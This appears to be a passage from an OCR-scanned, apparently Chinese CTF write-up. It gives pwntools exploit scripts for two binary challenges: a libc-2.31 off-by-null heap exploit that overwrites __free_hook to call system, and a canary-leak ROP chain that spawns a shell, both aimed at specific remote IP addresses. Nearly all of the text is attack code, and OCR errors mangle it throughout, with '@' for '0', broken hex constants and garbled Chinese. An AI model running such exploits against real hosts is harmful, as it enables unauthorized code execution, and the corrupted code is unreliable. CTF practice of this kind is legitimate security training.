edit(p2, u8(p64(rop_base)[5]))

leave_ret = pie+@xe3e

Taava rat addr — ctarcl addr _0Ov12Q
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edit(pl, u8(p64(leave_ret_addr)[0])) #restore
edit(p2, u8(p64(leave_ret)[0]))

edit(pl, u8(p64(leave_ret_addr)[0])+1) #restore
edit(p2, u8(p64(leave_ret)[1]))

edit(pl, u8(p64(leave_ret_addr-8)[0])) #restore

# bp(src)

pay = '%{}c%{}$hhn'.format(0x3f,p2)
pay = pay.ljust(ex1e,'a') + ORW
sl(pay)

1g('pie’)
lg('libc_base")
lg('stack_addr')

itr()

7~ bornote

libc-2.31 off by null

élse
{
if ( *addr == "\n' )
{
*¥addr = @;
return __readfsqword(ex28u) ~ v7;
¥
++addr;
¥
¥
*addr = 9; // off by null

return __readfsqword(@x28u) ~ v7;
1

FraEuT BENLEEE T — A sizefichunk, FrblidiR el Sepatch—F, &EBBRIIFKIHER1/16

v3 = (((buf & BXF) + 1) << 8) - 8;
malloc(v: + 240);
return __readfsqword(@x28u) ~ v4;

v3 = (((but & @xF) + 1) << 8) - 8;
malloc(@x1@EQuLL);
return __readfsqword(®x28u) ~ v4;

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys



pc="./bornote"
reomote_addr=["121.36.250.162",49155]

elf = ELF(pc)
libc = elf.libc

context.binary=pc

context.terminal=["gnome-terminal”,'-x","'sh',"'-c"']

if len(sys.argv)==1:
context.log level="debug"
p=process(pc)
if len(sys.argv)==2 :
if 'r' in sys.argv[1]:
p = remote(reomote_addr[@],reomote_addr[1])

if 'n' not in sys.argv[1]:
context.log level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)

rl = lambda : p.recvline()

sl = lambda x : p.sendline(x)

rv = lambda x : p.recv(x)

sa = lambda a,b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)

itr= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f')[-6:].1just(8,"'\x00"'))
rvé = lambda : u64(rv(6)+'\x00'*2)

lg = lambda s: log.info('\@33[1;31;40m %s --> Ox%x \@33[@m"' % (s, eval(s)))
bp = lambda src=None : attach(p,src)
og = lambda libcpwd : map(int, subprocess.check_output(['one_gadget', '--raw', libcpwd]).split("' '))

what_choice="cmd:

ch_add="1"

ch_dele="2"
ch_edit="3"
ch_show="4"

what_size="Size:

what_c="Note:

what_idx="Index: "

def add(size):
ru(what_choice)
sl(ch_add)
ru(what_size)
sl(str(size))

def dele(idx):
ru(what_choice)



sl(ch_dele)
ru(what_idx)
sl(str(idx))

def edit(idx,c):
ru(what_choice)
sl(ch_edit)
ru(what_idx)
sl(str(idx))
ru(what_c)
sl(c) ##

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))
ru(what_c)

libc_base

1}
o ®

heap_base

def leak():
global libc_base
ru("username: ")
s1('Yifan')

# max_count 10 size 0-0x654
add(ox90) #e
add(0x28) #1
add(ox28) #2
add(ex4fo) #3
add(ox28) #4

dele(3)

add(ox4fe)

show(3)

# libc_base = ru7f() - Oxlebbeo
# 1g('libc_base")

def game():

global heap_base

dele(2)

dele(1)

add(0x28)

add(0x28)

show(1)

heap_base = rv6() - 0x13030-0x490



lg( 'heap_base")

pay = flat([
0,0xf1,
heap_base+0x12fb0, heap_base+0x12fbo,
heap_base+0x12fa0,heap_base+0x12fa0

1
edit(@,pay)

edit(2, 'a'*@x20+p64(0xf0))

dele(3)

add(oxe0) #3

dele(2)
dele(1)

free_hook = libc_base + libc.sym['_free_hook"']
sys_addr = libc_base + libc.sym['system']
pay = flat([

'a'*ox80,

0,0x31,

free_hook

1)
edit(3,pay)

add(ox28)

add(ox28)

edit(1, '/bin/sh\xee')
edit(2, p64(sys_addr))
dele(1)

src="""
heap
bin
# bp(src)
while True:
try:
leak()
s=p.recvuntil('\x7f"',timeout=0.2) #i#
if len(s)==0:
raise Exception('')
libc_base=u64(s[-6:]+'\x00"'*2) - Oxlebbe0
break
except Exception:
p.close()
p=process(pc)
p = remote(reomote_addr[@],reomote_addr[1])
continue



game()
lg('libc_base"')
sl('cat flag')

itr()

8. pwnpwn

SR AL, WFEcanary, i

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

context.log_level='debug'
context.arch="amd64'

context.os = "linux"

#context.terminal = ["tmux", "splitw", "-h"]

local = 0
if local:
r = process('./pwnpwn")
else:
r = remote("124.71.156.217", 49153)

sa

lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)

sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)

ti = lambda: r.interactive()

libc = ELF("./1libc-2.23.s0")
libcc = cdll.LoadLibrary("/1ib/x86_64-1linux-gnu/libc.so.6")

def debug():
gdb.attach(r)
pause()

def lg(s,addr):
print('\@33[1;31;40m%20s-->0x%x\033[Om'%(s,addr))

sla("welcome to mimic world,try something\n", "1")
r"»I(Ilexll)
vuln_addr = int(rc(12), 16)



shell addr = vuln_addr - 0x94
pie = vuln_addr - 0x9b9
bin_sh = pie + 0x202010
pop_rdi = pie + 0xb83
system_addr = pie + 0x951
1g("pie”, pie)

s1("2")

sa("hello", "a" * @x69)
ru("a" * ox69)

canary = u64('\x00' + rc(7))
lg("canary", canary)

sl("a" * Ox68 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr))

r.interactive()

SE¥EHERE: https://www.hetianlab.com/pages/CTFLaboratory.jsp
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